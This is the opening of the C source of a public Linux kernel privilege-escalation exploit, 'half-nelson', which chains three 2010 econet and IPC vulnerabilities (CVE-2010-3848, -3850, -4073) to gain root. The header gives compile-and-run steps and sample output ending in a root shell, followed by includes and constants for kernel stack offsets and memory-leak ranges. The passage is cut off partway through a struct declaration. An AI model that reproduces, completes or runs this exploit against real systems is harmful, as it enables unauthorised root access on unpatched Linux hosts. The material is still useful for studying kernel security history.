/* * half-nelson.c * * Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit * Jon Oberheide <jon@oberheide.org> * http://jon.oberheide.org * * Information: * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848 * * Stack-based buffer overflow in the econet_sendmsg function in * net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an * econet address is configured, allows local users to gain privileges by * providing a large number of iovec structures. * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850 * * The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel * before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which * allows local users to bypass intended access restrictions and configure * econet addresses via an SIOCSIFADDR ioctl call. * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073 * * The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not * initialize certain structures, which allows local users to obtain * potentially sensitive information from kernel stack memory. * * Usage: * * $ gcc half-nelson.c -o half-nelson -lrt * $ ./half-nelson * [+] looking for symbols... * [+] resolved symbol commit_creds to 0xffffffff81088ad0 * [+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0 * [+] resolved symbol ia32_sysret to 0xffffffff81046692 * [+] spawning children to achieve adjacent kstacks... * [+] found parent kstack at 0xffff88001c6ca000 * [+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000 * [+] lower child spawning a helper... * [+] lower child calling compat_sys_wait4 on helper... * [+] helper going to sleep... * [+] upper child triggering stack overflow... * [+] helper woke up * [+] lower child returned from compat_sys_wait4 * [+] parent's restart_block has been clobbered * [+] escalating privileges... * [+] launching root shell! * # id * uid=0(root) gid=0(root) * * Notes: * * This exploit leverages three vulnerabilities to escalate privileges. * The primary vulnerability is a kernel stack overflow, not a stack buffer * overflow as the CVE description incorrectly states. I believe this is the * first public exploit for a kernel stack overflow, and it turns out to be * a bit tricky due to some particulars of the econet vulnerability. A full * breakdown of the exploit is forthcoming. * * Tested on Ubuntu 10.04 LTS (2.6.32-21-generic). */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <stddef.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <limits.h> #include <syscall.h> #include <inttypes.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/sem.h> #include <sys/stat.h> #include <sys/mman.h> #include <sys/resource.h> #include <sys/syscall.h> #include <netinet/in.h> #include <net/if.h> #define IOVS 446 #define NPROC1024 #define KSTACK_SIZE8192 #define KSTACK_UNINIT0 #define KSTACK_UPPER 1 #define KSTACK_LOWER 2 #define KSTACK_DIE 3 #define KSTACK_PARENT4 #define KSTACK_CLOBBER 5 #define LEAK_BASE0xffff880000000000 #define LEAK_TOP 0xffff8800c0000000 #define LEAK_DEPTH 500 #define LEAK_OFFSET32 #define NR_IPC 0x75 #define NR_WAIT4 0x72 #define SEMCTL 0x3 #ifndef PF_ECONET #define PF_ECONET19 #endif #define STACK_OFFSET 6 #define RESTART_OFFSET 40 struct ec_addr { unsigned char station;
